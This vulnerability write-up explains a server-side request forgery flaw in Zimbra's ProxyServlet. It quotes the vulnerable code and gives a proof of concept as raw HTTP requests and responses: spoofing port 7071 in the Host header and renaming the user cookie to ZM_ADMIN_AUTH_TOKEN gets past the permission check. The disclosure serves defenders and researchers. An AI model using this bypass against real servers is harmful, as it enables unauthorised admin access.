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Zimbra Collaboration Suite ProxyServlet SSRF

Disclosure Date: April 30, 2019 Last updated February 13, 2020
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Zimbra’s handling of ProxyServlet requests is vulnerable to server side request forgery, which could an attacker to proxy requests to the local admin port.

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According to the blog post A Saga of Code Executions on Zimbra by An Trinh the SSRF vulnerability occurs during the handling of ProxyServlet requests. The diff to fix the server side request forgery issues can be found in Zimbra’s github page for the zm-mailbox repository. The diff for moves a few checks outside of a conditional so that the checks are always performed.

The doProxy function contains the vulnerable code. As described in the blog post user input is used to determine whether the request will be treated as an admin request. Line 188 in doProxy calls isAdminRequest:

186     private void doProxy(HttpServletRequest req, HttpServletResponse resp) throws IOException {
187         ZimbraLog.clearContext();
188         boolean isAdmin = isAdminRequest(req);
189         AuthToken authToken = isAdmin ?
190                 getAdminAuthTokenFromCookie(req, resp, true) : getAuthTokenFromCookie(req, resp, true);
191         if (authToken == null) {
192             String zAuthToken = req.getParameter(QP_ZAUTHTOKEN);
193             if (zAuthToken != null) {

The following is the isAdminRequest:

180     protected boolean isAdminRequest(HttpServletRequest req) {
181         return req.getServerPort() == LC.zimbra_admin_service_port.intValue();
182     }

The getServerPort function returns the port number specified in the Host header and LC.zimbra_admin_service_port is 7071. If a request is sent with port 7071 in the Host header then the isAdmin variable will be set to true in doProxy. After isAdmin is set, an authentication token is read from the request. Since we want the request to be treated as an admin request we are interested in the getAdminAuthTokenFromCookie function. The function ends up checking for a valid cookie with the ZM_ADMIN_AUTH_TOKEN key. Note: A valid token is required but the key for the token should be changed to ZM_ADMIN_AUTH_TOKEN when exploiting the SSRF vulnerability.

Lines 222-234 check for a proxy target and whether the request is allowed based on permissions:

222         // sanity check
223         String target = req.getParameter(TARGET_PARAM);
224         if (target == null) {
225             resp.sendError(HttpServletResponse.SC_BAD_REQUEST);
226             return;
227         }
229         // check for permission
230         URL url = new URL(target);
231         if (!isAdmin && !checkPermissionOnTarget(url, authToken)) {
232             resp.sendError(HttpServletResponse.SC_FORBIDDEN);
233             return;
234         }

On line 231 we can see that if the user is an admin then the request is allowed but if the user is not an admin then a permissions check will be performed. To test the described issue, we can construct requests. The following request uses a valid user (non-admin) cookie and contains a proxy request to the admin port:

POST /service/proxy?target= HTTP/1.1
Host: zimbra.mylocaldomain.local:8443
Cookie: ZM_AUTH_TOKEN=0_f4c2aa41cd45987f5a459601320b5452ec993ad4_69643d33363a61303964323935332d363139642d343532612d383565352d3536346136616638393030383b6578703d31333a313535343339313631313239383b747970653d363a7a696d6272613b753d313a613b7469643d393a3635323737323132373b76657273696f6e3d31333a382e372e315f47415f313637303b637372663d313a313b;
Content-Length: 0

The response from the previous request returns a forbidden message:

HTTP/1.1 403 Forbidden
Date: Wed, 03 Apr 2019 11:54:45 GMT
Content-Type: text/html;charset=iso-8859-1
Cache-Control: must-revalidate,no-cache,no-store
Content-Length: 245

<meta http-equiv="Content-Type" content="text/html;charset=utf-8"/>
<title>Error 403 Forbidden</title>
<body><h2>HTTP ERROR 403</h2>
<p>Problem accessing /service/proxy. Reason:
<pre>    Forbidden</pre></p>

Next we modify the previous request, changing 8443 to 7071 and ZM_AUTH_TOKEN to ZM_ADMIN_AUTH_TOKEN, and resend it:

POST /service/proxy?target= HTTP/1.1
Host: zimbra.mylocaldomain.local:7071
Cookie: ZM_ADMIN_AUTH_TOKEN=0_f4c2aa41cd45987f5a459601320b5452ec993ad4_69643d33363a61303964323935332d363139642d343532612d383565352d3536346136616638393030383b6578703d31333a313535343339313631313239383b747970653d363a7a696d6272613b753d313a613b7469643d393a3635323737323132373b76657273696f6e3d31333a382e372e315f47415f313637303b637372663d313a313b;
Content-Length: 0

The response to the modified request does not contain a forbidden message this time and is instead a redirect the zimbraAdmin page:

HTTP/1.1 302 Found
Date: Wed, 03 Apr 2019 11:57:52 GMT
Content-Type: text/html;charset=utf-8
Date: Wed, 03 Apr 2019 11:57:52 GMT
X-Frame-Options: SAMEORIGIN
Expires: Tue, 24 Jan 2000 20:46:50 GMT
Content-Length: 0

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